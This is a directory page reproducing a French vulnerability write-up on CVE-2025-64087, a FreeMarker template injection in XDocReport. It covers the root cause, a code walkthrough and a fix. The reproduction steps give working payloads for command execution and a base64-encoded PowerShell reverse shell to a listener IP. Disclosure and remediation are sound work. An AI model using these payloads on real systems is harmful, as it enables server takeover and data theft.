Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087 (SSTI) | Kitploit
Outils/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087 (SSTI)

Voir le dépôt
11il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-64087 (SSTI FreeMarker)

Injection de modèle côté serveur (SSTI) dans XDocReport permettant l'exécution de code à distance via le moteur Apache FreeMarker

Définition du bug

Aperçu de la vulnérabilité

  • L'injection de modèle côté serveur (SSTI) est une vulnérabilité de sécurité Web qui permet à un attaquant d'injecter du code malveillant dans les modèles (templates) utilisés par les systèmes de gestion de contenu (CMS) et les frameworks Web, afin d'exécuter des attaques à distance, de récupérer des informations sensibles ou de mener des activités d'intrusion dans le système.

  • SSTI est une variante de la vulnérabilité d'injection (comme l'injection SQL, XSS, etc.), dans laquelle un attaquant exploite l'utilisation de systèmes de modèles pour déployer du code malveillant à distance. Lorsqu'une attaque SSTI réussit, l'attaquant peut exécuter son propre code sur le serveur côté serveur, ce qui lui permet de mener des attaques à distance, telles que la collecte d'informations sensibles, la réalisation d'activités d'intrusion dans le système et l'accès à des ressources non autorisées.

  • La vulnérabilité SSTI survient généralement en raison de l'utilisation de systèmes de modèles non sécurisés, ou de l'absence de vérification et de traitement des paramètres d'entrée avant de les insérer dans les modèles. Si une attaque SSTI réussit, les conséquences peuvent être graves et causer des dommages importants à l'organisation ciblée.

Impact commercial

  • La vulnérabilité SSTI peut entraîner de nombreuses conséquences graves, notamment :

  • Exécution de code malveillant : L'attaquant peut utiliser cette vulnérabilité pour exécuter du code malveillant sur le serveur, lui permettant de voler des données, d'effectuer des actions illégales sur le système, voire de prendre le contrôle complet du serveur.

Télécharger l’outil
  • Divulgation d'informations sensibles : SSTI peut permettre à un attaquant de lire, modifier ou supprimer des fichiers sur le serveur. Si ces fichiers contiennent des informations sensibles, comme des comptes et des mots de passe, l'attaquant peut facilement divulguer ces informations.

  • Attaque par menaces ou hameçonnage des utilisateurs : L'attaquant peut utiliser SSTI pour mener des attaques par menaces ou hameçonnage des utilisateurs, en modifiant le contenu du site Web ou en ajoutant de faux boutons personnalisés. Si les utilisateurs cliquent sur ces boutons, l'attaquant peut voler leurs informations ou installer des logiciels malveillants sur leurs ordinateurs.

  • Sévérité : CRITIQUE

    image

    Description et impact

    Une vulnérabilité d'injection de modèle côté serveur (SSTI) a été découverte dans OpenSAGRES XDocReport lors du traitement de modèles DOCX avec le moteur FreeMarker. Sous certaines configurations, des modèles fabriqués peuvent conduire à une exécution de code à distance (RCE).

    Le site Web de gestion des ressources humaines permet aux utilisateurs de télécharger des fichiers documents .docx sur le système. Lors du traitement, l'application utilise le moteur de modèles FreeMarker (dans le fichier FreemarkerTemplateEngine.java) pour interpréter le contenu ${"freemarker.template.utility.Execute"?new()("whoami")} sans mécanisme de contrôle ou de filtrage du contenu d'entrée. Cette vulnérabilité permet à un attaquant d'injecter des expressions malveillantes dans le fichier .docx (modèle), conduisant à une exécution de code à distance (RCE) sur le serveur, et pouvant être exploitée pour voler des informations ou prendre le contrôle du système.

    Composant affecté

    fr.opensagres.xdocreport.template.freemarker — XDocReport (versions 1.0.0 à 2.1.0).

    Analyse de la cause racine

    • Le fichier https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java n'effectue aucune vérification du contenu du fichier xdoc d'entrée. Le contenu du modèle est chargé directement et passé à process(context, writer, template) pour être traité par le moteur FreeMarker sans aucun mécanisme de sandboxing ni restriction des directives/expressions. En conséquence, un attaquant peut fournir un modèle contenant des expressions/commandes FreeMarker malveillantes, conduisant à une exécution de code à distance (RCE).

    image

    Étapes pour reproduire

    1. L'utilisateur télécharge un fichier .docx dont le contenu interne est la charge utile suivante :``` ${"freemarker.template.utility.Execute"?new()("calc")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    2. On constate qu'il est possible d'exécuter avec succès et d'ouvrir l'application calculatrice
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    3. De même, pour récupérer les informations de l'utilisateur en cours d'exécution sur le système avec le payload :```
    ${"freemarker.template.utility.Execute"?new()("whoami")}
    

    image

    image

    1. On peut voir que le fichier .docx, après traitement par le moteur de template, a renvoyé les données du système

    image

    1. De même avec le payload suivant :``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    6. Augmenter l'impact vers RCE
    
    - La machine d'écoute est wsl avec l'adresse IP `172.26.208.130`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    - exploitation avec le payload suivant :
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
    ${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
    

    image

    • Le fichier .docx est traité via xdocreport

    image

    • On voit que le shell est récupéré sur la machine wsl

    image

    Solution

    Bloquer l’exécution par réflexion (le plus sûr mais build en erreur actuellement)

    • Dans le fichier xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java, ajouter le contenu suivant

    image

    image

    Mon correctif continue de permettre le rendu normal des objets et propriétés comme ${cuong.name} et bloque uniquement les fonctions intégrées DANGEREUSES

    • Toutes les payloads SSTI sont bloquées :
      • ${'freemarker.template.utility.Execute'?new()('calc')} - BLOQUÉ par ALLOWS_NOTHING_RESOLVER
      • ${'java.lang.Runtime'?api.getRuntime()} - BLOQUÉ par setAPIBuiltinEnabled(false)
      • Toutes les autres payloads utilisant ?new() et ?api sont bloquées

    Valider l’entrée

    1. Fichier principal - FreemarkerTemplateEngine.java

    Chemin : template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java

    Modifications :

    • ✅ Import ajouté : java.util.regex.Pattern
      image

    • ✅ Méthode ajoutée validateTemplateSecurity(Reader reader) — Valide les motifs dangereux
      image

    • ✅ Mise à jour de processNoCache() — Validation ajoutée avant la création du Template
      image

    • ✅ Mise à jour de process(String templateName, …) — Validation ajoutée à cette méthode
      image

    2. Fichier de test - FreemarkerTemplateEngineSecurityTestCase.java

    Chemin : template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java

    Modifications :

    • ✅ Nouveau cas de test créé — Teste les payloads SSTI courantes
    • ✅ Payload principale testée : ${"freemarker.template.utility.Execute"?new()("whoami")}
    • ✅ Autres motifs testés : ?new, java.lang.Runtime, java.lang.ProcessBuilder, etc.
    • ✅ Test de template sûr — Vérifie que les templates normaux fonctionnent toujours

    Résumé des modifications

    FichierType de modificationObjectif
    FreemarkerTemplateEngine.javaModifiéAjout de la protection SSTI
    FreemarkerTemplateEngineSecurityTestCase.javaNouveau fichierTeste la logique de validation

    Correctif final

    • https://github.com/opensagres/xdocreport/pull/705

    image

    image

    Dans la version 2.2.0, le mécanisme de protection est activé et bloque avec succès les SSTI

    image

    Références

    • https://portswigger.net/web-security/server-side-template-injection

    Configuration de l’environnement de débogage

    image

    • dans le fichier Main.java```java package org.example;

    import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;

    import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;

    public class Main {

    root@kitploit:~
    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);
    
            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
    
            // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
            IContext context = report.createContext();
    
            // Xuất ra file mới
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);
    
            System.out.println("✅ Đã tạo file result.docx thành công.");
        } catch (Exception e) {
            System.err.println("❌ Lỗi xử lý file:");
            e.printStackTrace();
        }
    }
    

    }

    root@kitploit:~
    - Bibliothèque à importer```xml
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
    
        <groupId>org.example</groupId>
        <artifactId>vcs1</artifactId>
        <version>1.0-SNAPSHOT</version>
    
        <properties>
            <maven.compiler.source>18</maven.compiler.source>
            <maven.compiler.target>18</maven.compiler.target>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        </properties>
    
        <dependencies>
            <!-- Template engine: FreeMarker -->
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
                <version>2.1.0</version>
            </dependency>
    
            <dependency>
                <groupId>fr.opensagres.xdocreport</groupId>
                <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
                <version>2.0.3</version>
            </dependency>
        </dependencies>
    </project>
    

    A

    Point de départ (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");

    root@kitploit:~
    → source chính là file DOCX này — nếu file được người dùng upload/ghi, nội dung template bên trong (FreeMarker syntax) là dữ liệu không tin cậy.```
    InputStream input = new FileInputStream(docxTemplate);
    

    → lire le contenu du fichier à transmettre à XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

    root@kitploit:~
    - loadReport(...) analyse (parse) le fichier DOCX, recherche l'entrée/le template dans le DOCX et crée un IXDocReport (à l'intérieur, il initialisera l'objet Template de FreeMarker ou conservera un reader pour le template).
    
    - Le contenu du template dans le fichier DOCX se trouve désormais dans l'objet report (toujours non exécuté).
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    zipInputStream.getNextEntry() itère sur chaque entrée (chaque fichier) à l'intérieur du ZIP (.docx).
    
    archive = new XDocArchive(...) — si l'archive n'existe pas encore, on initialise un objet pour organiser/enregistrer les entrées du document.
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    En résumé : cette section décompresse le contenu du DOCX dans une structure interne (XDocArchive) afin que la suite puisse accéder aux fichiers enfants (document.xml, ...)```java
    private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
                                        ITemplateEngine templateEngine, boolean cacheReport )
            throws IOException, XDocReportException
        {
            initializeIfNeeded();
            // 2) zip was loaded, create an instance of report
            IXDocReport report = createReport( sourceStream );
            // 3) Update the report id if need.
            if ( StringUtils.isEmpty( reportId ) )
            {
                reportId = report.toString();
            }
            report.setId( reportId );
            // 4) Search or set the template engine.
            if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
            {
                // Template engine was not forced.
                // Search template engine
                String documentKind = report.getKind();
                templateEngine =
                    TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
                if ( templateEngine == null )
                {
                    templateEngine =
                        TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
                }
            }
            report.setTemplateEngine( templateEngine );
            if ( cacheReport )
            {
                registerReport( report );
            }
            return report;
        }
    
    ÉtapeActionObjectif
    1Lire le fichier DOCXObtenir la structure du rapport original
    2Créer IXDocReportReprésenter le template
    3Assigner un IDGestion unique
    4Choisir le moteur de templatePour traiter les expressions (Freemarker/Velocity)
    5Mettre en cache si nécessaireOptimiser les performances
    6Retourner le rapportUtilisé pour générer le fichier résultat

    image

    En résumé, il n'y a pas de mécanisme de vérification SSTI dans IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); ; il charge seulement les fichiers XML du docx et retourne un IXDocReport report prêt à être traité (par exemple, rendu, fusion de données…).

    image

    à report.process(context, out);

    image

    • C'est le point de déclenchement (sink d'exécution) : XDocReport appelle le moteur correspondant (ici FreeMarker) pour fusionner le template avec le contexte et générer le résultat dans out.
    • Cette méthode récupère le template du document (par exemple .docx ou .odt) précédemment chargé, puis injecte les données de l'objet context (généralement un IContext) dans les variables du template.
    • Ensuite, elle génère le document final (avec les données réelles) et écrit le résultat dans le flux out, c'est-à-dire dans le fichier results.docx.

    en approfondissant à l'intérieur de cette fonction, elle appelle preprocess(...) qui analyse le XML, lit chaque entrée XML, puis parse le contenu XML et crée un BufferedDocument avant de l'écrire dans un Writer (c'est la version XML prétraitée).

    image```java public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata, IDocumentFormatter formatter, Map<String, Object> sharedContext ) throws XDocReportException, IOException { try { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); BufferedDocumentContentHandler<?> contentHandler = createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext ); xmlReader.setContentHandler( contentHandler ); xmlReader.parse( new InputSource( reader ) ); BufferedDocument document = contentHandler.getBufferedDocument(); if ( document != null ) { document.save( writer ); // StringWriter s = new StringWriter(); // document.save( s ); // System.err.println( s ); return true; }

    root@kitploit:~
            return false;
        }
        catch ( SAXException e )
        {
            throw new XDocReportException( e );
        }
    }
    
    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ensuite il saute dans `processNoCache()` et appelle `getReader()`
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    La fonction `getReader()` est utilisée pour ajouter une directive d'échappement autour de l'ensemble du template, afin de garantir que le contenu est traité de manière sécurisée (échappement HTML, éviter les injections).
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Template original:```xml
    <w:p>
      <w:t>Hello ${name}!</w:t>
    </w:p>
    

    Après le traitement de getReader() :```xml [#-- Hello ${name}! [/#escape][#--]]>--]

    root@kitploit:~
    il aide le moteur Freemarker à lire de manière plus sûre :
    
    - Protection XML : Échapper les caractères spéciaux dans XML
    - Traitement sécurisé : Éviter les erreurs lors de l'analyse du template par Freemarker
    
    ensuite appeler `FMParser` pour analyser la syntaxe Freemarker
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    enfin dans `process()` appeler `environment.process();` et le lecteur de données```
    public void process() throws TemplateException, IOException {
            Object savedEnv = threadEnv.get();
            threadEnv.set(this);
            try {
                // Cached values from a previous execution are possibly outdated.
                clearCachedValues();
                try {
                    doAutoImportsAndIncludes(this);
                    visit(getTemplate().getRootTreeNode());
                    // It's here as we must not flush if there was an exception.
                    if (getAutoFlush()) {
                        out.flush();
                    }
                } finally {
                    // It's just to allow the GC to free memory...
                    clearCachedValues();
                }
            } finally {
                threadEnv.set(savedEnv);
            }
        }
    

    👉 Voici l'étape la plus importante — la partie render se produit réellement.

    • getTemplate() retourne le template parsé (AST).

    • getRootTreeNode() est le nœud racine de l'arbre syntaxique créé par FMParser lors du parsing.

    • visit() est l'API centrale de FreeMarker, utilisée pour parcourir et render chaque élément du template, et définie dans freemarker.core.Environment

      • Rencontre TextBlock → écrit le texte dans out.

      • Rencontre Interpolation (exemple ${user.name}) → cherche dans dataModel, récupère la valeur, l'écrit dans out.

      • Rencontre #if, #list, #include, macro → traite la logique correspondante```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    il déclenche sur entryName `word/document.xml`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ensuite, il saute dans la fonction `accept()`
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
        TemplateElement[] accept(Environment env) throws TemplateException, IOException {
            final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
            final Writer out = env.getOut();
            if (moOrStr instanceof String) {
                final String s = (String) moOrStr;
                if (autoEscape) {
                    markupOutputFormat.output(s, out);
                } else {
                    out.write(s);
                }
            } else {
                final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
                final MarkupOutputFormat moOF = mo.getOutputFormat();
                // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                if (moOF == outputFormat) {
                    moOF.output(mo, out);
                } else if (!outputFormat.isOutputFormatMixingAllowed()) {
                    final String srcPlainText;
                    // ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
                    srcPlainText = moOF.getSourcePlainText(mo);
                    if (srcPlainText == null) {
                        throw new _TemplateModelException(escapedExpression,
                                "The value to print is in ", new _DelayedToString(moOF),
                                " format, which differs from the current output format, ",
                                new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
                    }
                    if (markupOutputFormat != null) {
                        markupOutputFormat.output(srcPlainText, out);
                    } else {
                        out.write(srcPlainText);
                    }
                } else if (markupOutputFormat != null) {
                    markupOutputFormat.outputForeign(mo, out);
                } else {
                    moOF.output(mo, out);
                }
            }
            return null;
        }
    

    image```java final TemplateModel eval(Environment env) throws TemplateException { try { return constantValue != null ? constantValue : _eval(env); } catch (FlowControlException | TemplateException e) { throw e; } catch (Exception e) { if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) { throw new _MiscTemplateException( this, e, env, "Expression has thrown an unchecked exception; see the cause exception."); } else if (e instanceof RuntimeException) { throw (RuntimeException) e; } else { throw new UndeclaredThrowableException(e); } } }

    root@kitploit:~
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    ![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)
    
    Le flux d'exécution dans la fonction `visit()` est le suivant```
    visit(Interpolation)                // gọi accept(...)
     └─ Interpolation.accept(env)
         └─ calculateInterpolatedStringOrMarkup(env)
             └─ expression.eval(env)
                 └─ (đến _eval) target.eval(env)   // trả TemplateMethodModel (built-in new()/Execute)
                     └─ targetMethod.exec(arguments)  ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
    
    

    Résumé du debug```

    [User uploads DOCX template] │ ▼ ┌──────────────────────────────────────────┐ │ XDocReportRegistry.loadReport(...) │ │ - Nhận InputStream (file .docx) │ │ - Xác định TemplateEngineKind=Freemarker│ │ - Gọi createReport(...) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FreemarkerTemplateEngine.loadTemplate() │ │ - Gọi new Template(templateName, Reader,│ │ Configuration) │ │ - => FMParser parse nội dung template │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ FMParser(this, reader, config) │ │ - Đọc nội dung file (XML trong DOCX) │ │ - Phân tích cú pháp │ │ Tạo AST (cây cú pháp): │ │ ├─ TextBlock ("Hello") │ │ ├─ DollarVariable (${name}) │ │ └─ FunctionCall (${Runtime.exec(...)})│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment env = │ │ template.createProcessingEnvironment() │ │ env.process() │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Environment.process() │ │ - clearCachedValues() │ │ - doAutoImportsAndIncludes() │ │ - visit(getTemplate().getRootTreeNode())│ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ visit(TemplateElement node) │ │ - node.accept(env) │ │ - Ghi kết quả ra writer (output stream) │ └──────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────┐ │ Nếu node là ${...} │ │ ⇒ ExpressionEvaluator được gọi │ │ ⇒ eval() biểu thức bên trong ${} │ │ ⇒ Có thể truy cập method Java nếu chưa │ │ bị sandbox hoặc hạn chế │ │ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │ └──────────────────────────────────────────┘ │ ▼ 🚨 Kết quả: Server-Side Template Injection (SSTI)

    root@kitploit:~
    ## 🔍 **Résumé des points clés exploitables**
    
    | Étape                    | Classe                | Rôle                   | Implication SSTI            |
    | ------------------------ | --------------------- | ---------------------- | --------------------------- |
    | `loadReport()`           | `XDocReportRegistry`  | Charger le template    | Input non contrôlé          |
    | `getReader()`            | `TemplateEngine`      | Lire les données du template | Peut contenir un payload    |
    | `FMParser`               | `freemarker.core`     | Analyser le contenu    | La variable `${}` est analysée |
    | `Environment.process()`  | `freemarker.core`     | Rendre le template     | Appelle `visit()` pour chaque nœud |
    | `visit()` / `eval()`     | `freemarker.core`     | Exécuter l'expression  | **Point SSTI / RCE**        |
    
    ---
    
    ## Documentation
    
    - https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link